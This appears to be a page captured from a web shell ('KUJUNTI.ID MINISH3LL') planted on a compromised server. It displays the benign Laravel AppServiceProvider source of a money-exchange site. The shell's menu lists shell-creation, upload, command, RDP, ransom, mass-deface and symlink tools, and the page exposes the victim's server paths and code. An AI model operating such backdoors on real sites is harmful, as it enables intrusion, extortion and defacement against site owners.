KUJUNTI.ID MINISH3LL
Path : /var/www/html/moneyexchange/app/Providers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/moneyexchange/app/Providers/AppServiceProvider.php


<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;

use Illuminate\Support\Facades\URL;
use App\Models\Setting;
use Illuminate\Pagination\Paginator;
use Illuminate\Support\Collection;
use Illuminate\Pagination\LengthAwarePaginator;
use App;
use App\Models\BankAccount;
class AppServiceProvider extends ServiceProvider
{
    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }

    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot()
    {
        Paginator::useBootstrap();
        if (env('FORCE_HTTPS')==true)
        {        
            URL::forceScheme('https');          
        }   
        view()->composer('*', function ($view) {
            $settings = Setting::get();
            $bankAccounts = BankAccount::where('responsible_by_user_id', Auth()->id())->where('is_bank', false)->where('is_active', true)->get();
            $view->with('settings_', $settings);
            $view->with('bankAccounts_', $bankAccounts);
        });
    }
}

© KUJUNTI.ID